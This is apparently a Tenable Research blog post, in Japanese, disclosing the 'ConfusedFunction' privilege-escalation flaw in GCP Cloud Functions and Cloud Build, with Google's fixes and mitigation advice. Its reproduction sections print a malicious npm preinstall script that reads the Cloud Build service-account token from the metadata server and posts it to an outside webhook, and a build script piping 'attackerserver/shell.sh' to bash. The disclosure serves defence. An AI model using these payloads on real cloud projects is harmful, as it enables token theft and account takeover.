Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

混沌とした機能: 権限昇格の脆弱性が GCP Cloud Functions に影響を与える



ConfusedFunction:  権限昇格の脆弱性が GCP Cloud Functions に影響を与える

サーバーレス実行環境である Google Cloud Platform の Cloud Functions を使用している組織は、Tenable が発見した権限昇格の脆弱性 (ConfusedFunction と呼ばれる) の影響を受ける可能性があります。 この記事では、この脆弱性のすべてと、組織が自らを守るために何をすべきかについて詳しくご紹介します。最後までぜひお読みください。

Tenable Research は、 Google Cloud Platform のサーバーレスコンピュートサービス Cloud Functions および CI/CD パイプラインサービス Cloud Build に関連した脆弱性を発見しました。

具体的には、GCP ユーザーが Cloud Functions を作成または更新すると、複数のステップを含むバックエンドプロセスがトリガーされ、そのプロセスに含まれるステップが、デフォルトの Cloud Build サービスアカウントを Cloud Functions の展開の一部として作成される Cloud Build インスタンスに付加することが確認されました。 このプロセスはバックグラウンドで行われ、一般ユーザーが気が付くことはありません。

このデフォルトの Cloud Build サービスアカウントは、ユーザーに過剰な権限を与えます。 Cloud Functions を作成または更新するためのアクセス権を得た攻撃者は、その展開プロセスを巧みに利用して、デフォルトの Cloud Build サービスアカウントに権限を昇格させることができます。

攻撃者は、デフォルトの Cloud Build サービスアカウントの高い権限を、Cloud Functions の作成時や更新時に作成される他の GCP サービス (Cloud Storage、Artifact Registry、Container Registry など) で悪用する可能性があります。

Tenable がこの脆弱性を GCP に報告した後、GCP はこの脆弱性を追認し、2024 年 6 月中旬以降に作成された Cloud Build アカウントに対して ConfusedFunction をある程度修正しました。 しかし、修正作業は既存の Cloud Build インスタンスに対応したものではありませんでした。

ConfusedFunction 脆弱性は、クラウドプロバイダーのサービスにおけるソフトウェアの複雑さやサービス間の通信が原因で発生する可能性のある、解決しにくいシナリオを浮き彫りにしています。 

具体的には、後方互換性をサポートする目的で、GCP は、修正が実装される前に作成された Cloud Build サービスアカウントの権限を変更していません。 つまり、この脆弱性がまだ既存のインスタンスに影響を及ぼしていることを意味します。

一方、今後のデプロイメントにおける問題の深刻さはGCP の修正によって軽減されたものの、完全に解消されたわけではないことにも触れておきます。 というのも、Cloud Functions の展開が依然としてトリガーとなって、前述の GCP サービスが作成されるからです。 したがって、ユーザーは、現在も、Cloud Functions の展開に伴って作成される Cloud Build サービスのアカウントに最小限の、しかし比較的広範な権限を割り当てる必要があります。

結論として、Cloud Functions を使用している場合は、攻撃者がこのシナリオを戦術、技術、手順 (TTP) として使用する可能性があるため、監視して予防措置を講じることを強くお勧めします。

Google Cloud の協力と迅速な対応に感謝します。

この脆弱性を修正する方法

すべてのクラウド上の機能において従来の Cloud Build サービスアカウントを使用している場合、最小権限のサービスアカウントに置き換えてください。 Tenable がどのようにお手伝いできるかについての詳細は、このブログの最後をご覧ください。

Cloud Functions とは?

GCP の Cloud Functions は、イベントトリガー型のサーバーレス関数です。 HTTP 要求やデータの変更などの特定のイベントに応じて自動的にスケーリングし、コードを実行します。 第 1 世代は基本的なイベント処理を提供し、第 2 世代はより複雑なアプリケーションのために言語オプション、ランタイムのカスタマイズ、全体的な柔軟性を向上させました。

ConfusedFunction 脆弱性の詳細

新しい Cloud Functions の作成時や既存の Cloud Functions の更新時に、GCP は裏で展開プロセスを開始します。 この脆弱性は、第 1 世代と第 2 世代の Cloud Functions の両方に影響しますが、 ここでは、GCP サービスを追加した第 2 世代ほど複雑ではない第 1 世代の展開プロセスに焦点を当てて説明しています。

Cloud Functions の展開トリガーに続いて、サービスエージェントが Cloud Functions のソースコードを Cloud Storage バケットに保存し、Cloud Build インスタンスが展開をオーケストレーションします。 その場合、Cloud Functions のコードはコンテナイメージとしてビルドされ、そのイメージが Container Registry または Artifact Registry にプッシュされます。

しかし、この Cloud Build インスタンスは、Google Cloud プロジェクト内で特権アクションをどのように実行するのでしょうか?

Tenable Research は、GCP が Cloud Functions の展開用に作成する Cloud Build インスタンスに、デフォルトの Cloud Build サービスアカウントが付加されていることに気付きました。 このサービスアカウントには、いくつかの興味深い権限が付属しています。 この付加プロセスは、展開プロセスの開始と同じように、舞台裏に隠されて実行されます。 ユーザーが Cloud Build 関数の展開インスタンスのサービスアカウントを変更する唯一の方法は、作成後に編集することです。 

重要な注意点が 1 つあります。 ご想像のとおり、ユーザーが Cloud Functions を作成または更新するために必要な権限は関数権限だけですが、ユーザーアカウントの Cloud Build インスタンス、Cloud Storage バケット、および Artifact Registry イメージ (これらはすべて、GCP がオーケストレーションの必要に応じて作成される) には追加の権限が必要です。

GCP は、サービスエージェントとデフォルトの Cloud Build サービスアカウントを使用して、これらのバックグラウンドサービスを作成します。 ID およびアクセス管理 (IAM) の観点から、Cloud Functions にアクセスできるユーザーは、その関数のオーケストレーションに含まれるサービスに対する IAM 権限を持つべきではありません。

私たちは、この関数を Tenable Research が展開したときに作成された Cloud Build インスタンスを検査しながら、ユーザー入力やその他の制御可能なソースによって制御されるシンク (注入された悪質なデータがコード実行などの悪影響につながる可能性のある、潜在的に危険なエンドポイント) を探しました。Cloud Build インスタンス内でのコード実行と、Cloud Functions 権限からデフォルトの Cloud Build サービスアカウント権限への権限昇格を可能にするようなシンクです。

この目標をかかげて、node.js 関数に関連する Cloud Build インスタンスのログで、次の「npm install」コマンドが見つかりました。

 

Cloud Build インスタンス

 

Cloud Build は関数の依存関係をインストールしますが、この依存関係は私たちの関数権限で制御できるものです。どうやら権限昇格にうってつけの候補のようです。

これで、新しい Cloud Functions を作成するか、既存のものを編集して、関数の依存関係ファイルに「悪質な」依存関係を設定できるので、その後は展開プロセスに任せればよいのです。

以下は、node.js 関数内の package.json の例です。

{ "dependencies": { "@google-cloud/functions-framework": "^3.0.0", "mypocmaliciouspackage": "^1.0.0" } }

展開プロセスが開始し、上述の関数展開に関連する Cloud Build インスタンスがビルドコマンドを実行します。このコマンドには、悪質な依存関係をインストールする「npm install」コマンドが含まれています。 このプロセスも同じようにすべての Cloud Functions のランタイム環境に影響するように働きます。

私たちの目標は、Cloud Build インスタンス上でコードを実行することでした。 これは、Cloud Build インスタンスに上述のコードを実行させる、悪質な依存関係内のプリインストールスクリプトを使用して行うことができます。 以下は、悪質な依存関係の例です。

{ "name": "mypocmaliciouspackage", "version": "4.0.0", "description": "poc", "main": "index.js", "scripts": { "test": "echo 'testa'", "preinstall": "access_token=$(curl -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[email protected]/token');curl -X POST -d $access_token https://tenable-webhook.com" }, "author": "me", "license": "ISC" }

このコードは、Cloud Build インスタンスのメタデータから、GCP が自動的に付加したデフォルトの Cloud Build サービスアカウントトークンを抽出します。

 

Cloud Build サービスアカウントトークン

 

最後に、このトークンを使ってデフォルトの Cloud Build サービスアカウントのアイデンティになりすまし、現行の権限を Cloud Functions からサービスアカウントの権限に昇格することができます。

 

Cloud Functions の権限昇格

 

攻撃の完全な再現方法

この手口を再現する手順は次のとおりです。Node.js 関数ランタイムを例に説明します。

  1. npm init を実行します。
  2. 現行フォルダーにパッケージが作成されます。 package. json のコードを以下のように変更します。
{ "name": "mypocmaliciouspackage", "version": "4.0.0", "description": "poc", "main": "index.js", "scripts": { "test": "echo 'testa'", "preinstall": "access_token=$(curl -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[email protected]/token');curl -X POST -d $access_token https://webhook.com" }, "author": "me", "license": "ISC" }
  1. npm publish --scope public を実行します。 (パッケージは npm パブリックレジストリに公開されることに注意してください。)
  2. 新しい Cloud Function を作成するか、関数に対する権限のあるアイデンティで既存の Cloud Functions を更新します。
  3. Node.js ランタイムを選択し、悪質なパッケージで package.json を編集します。
{ "dependencies": { "@google-cloud/functions-framework": "^3.0.0", "mypocmaliciouspackage": "^1.0.0" } }
  1. Cloud Functions を展開します。 Cloud Build が実行され、悪質なパッケージがインストールされ、同パッケージのプリインストールスクリプトによって、デフォルトの Cloud Build サービスアカウントの GCP トークンが Cloud Build インスタンスのメタデータからウェブフックに抽出されます。

攻撃の余波: より多くの悪用方法が見つかる

調査の後半で、関数の展開プロセスでデフォルトの Cloud Build サービスアカウントトークンを漏洩させるほかの方法が見つかりました。 そのひとつが、npm ビルド開始スクリプトによるものです。

ビルドプロセスの一部として、Cloud Build インスタンスはビルドスクリプトを使用します。

ここで問題となるシナリオは、ConfusedFunction と似ています。 つまり Cloud Build スクリプトは、Cloud Function のソースコードを通じて制御されます。

関数を更新または作成する権限を持つアイデンティは、ビルド開始スクリプトに悪質なコードを入力することで、Cloud Build のビルドプロセスでコードを実行できます。

そこからの悪用のプロセスは同じです。 攻撃者は、悪質なビルドスクリプトを (Cloud Functions の実行環境に応じて) 関数の package.json/requirements.txt に注入することができます。

デフォルトの Cloud Build サービスアカウントのトークンは、悪質なビルドスクリプトによって実行されたコードで Cloud Build インスタンスのメタデータにアクセスすることで抽出されて悪用される可能性があります。

Node.js ランタイムで再現するためのステップ

  1. package.json を以下のように変更し、shell.sh 内の悪質なスクリプトやリバースシェルをホストします。{ "dependencies": { "@google-cloud/functions-framework": "^3.0.0" }, "scripts": { "gcp-build": "curl -s http://attackerserver/shell.sh | bash" } }
  2. 関数を展開します。

全体的なセキュリティ強化のために GCP が講じた脆弱性修正と追加措置

特定された脆弱性の開示を受けて、GCP は Google Cloud Functions および Cloud Build サービスアカウント全般のセキュリティを強化するソリューションを展開しました。 

6 月中旬、GCP は Cloud Functions に、関数展開プロセスの一部として展開される Cloud Build インスタンスにカスタムサービスアカウントを使用するオプションを追加しました。 このサービスアカウントは、Cloud Functions 展開の特定の要件に合わせて調整する必要があります。 この方法による展開はより安全です。

修正前は、デフォルトの Cloud Build サービスアカウントは、関数展開プロセスの一部として Cloud Build インスタンスに自動的に付加されていたため、ユーザーがそのアカウントを可視化して制御することはできませんでした。 

この修正の詳細については、GCP ドキュメントの最近の更新をご覧ください。

Google Cloud が講じた追加措置

Google Cloud は、ConfusedFunction の検出結果への追加対応として、5 月と 6 月にわたって Cloud Build にもうひとつアップデートを展開し、Cloud Build およびデフォルトの Cloud Build サービスアカウントのデフォルトの動作を変更しました。 6 月下旬には、Cloud Build がデフォルトで使用するサービスアカウントを組織が完全に制御できるようにするための組織ポリシーが追加でリリースされました。

これらは、2024 年 5 月から 6 月にかけて展開された Cloud Build API リリースを有効にする、新規および既存のプロジェクトに対する変更です。

  • 既存の Cloud Build サービスアカウントは、今後、「レガシー Cloud Build サービスアカウント」と呼ばれます。
  • 各プロジェクトは、直接提出されたビルドに対して、デフォルトで Compute Engine サービスアカウントを使用します。
  • 各プロジェクトでは、新しいトリガーを作成する際に、明示的にサービスアカウントを指定する必要があります。
  • この変更が導入される前に Cloud Build API を有効にしていた既存のプロジェクトの動作は、デフォルトでは変更されません。
  • 組織ユーザーの場合は、組織ポリシーを調整して、Cloud Build がデフォルトで使用するサービスアカウントを制御できます。

Google Cloud が導入した新しい組織ポリシーと更新に関する詳細は、こちらをご覧ください。

これらの修正を導入することで、お使いの Google Cloud 環境のセキュリティ態勢を体系的に強化することができます。

まとめ

クラウドプロバイダーは、コアサービスをより一般的な顧客向けサービスの基盤として使用しているため、コンソールを 1 回クリックするだけで、気づかぬうちに、バックグラウンドでアカウントにさまざまなリソースが作成されていることがあります。ConfusedFunction 脆弱性の根本原因はこの設計パターンでした。

ソフトウェアの複雑さとサービス間通信が、最新のアプリケーションを保護してセキュリティを確保することを難しくしています。 プロセスに含まれるサービスが増えるにつれ、脆弱性や設定ミスが発生しやすくなります。

くわえて、この種の脆弱性や、同じ概念に基づく一般的な設定ミスも、責任共有モデルの中での位置付けに関して利用者を混乱させがちです。 たとえこれらのリソースがクラウドプロバイダーによって作成されたとしても、リソースはお客様のアカウント内にあるため、そのセキュリティは利用者側の責任となります。

この記事では、Cloud Functions デプロイメントの権限を悪用して権限を昇格させる手口を紹介しました。 私たちのプロセスを共有することで、Cloud Functions の複雑な内部構造や、IAM リスクに関する多くの微妙な意味合について、セキュリティコミュニティに周知したいと考えています。 

Tenable Cloud Security はどのように役立ちますか?

Tenable Cloud Security チームは、2024 年 8 月に、このブログ記事に記載されているリスクを排除するための機能を発表する予定です。 この機能は、Cloud Functions の使用とリスクを考慮しながら、過剰な IAM 権限とデフォルトの Cloud Build サービスアカウントの使用についてお客様に注意を促すかたちになります。

クラウドインフラは複雑なため、IAM の設定ミスは避けられず、この記事で紹介したように、大きなリスクをもたらす可能性があります。 Tenable Cloud Security CNAPP ソリューションは、アイデンティがどのリソースにアクセスできるか (逆に言うと、権限の昇格などのリスクを含めてリソースがどのように露出しているか) を正確に特定し、リスクのある権限を排除する最小権限ポリシーを自動的に生成することで、お役に立てます。 

Tenable Research がお手伝いします

クラウドセキュリティに関するご質問やご不明な点がございましたら、Tenable Research までお気軽にお問い合わせください。


役立つサイバーセキュリティ関連のニュース

Tenable エキスパートからのタイムリーな警告とセキュリティガイダンスを見逃さないように、メールアドレスをご入力ください。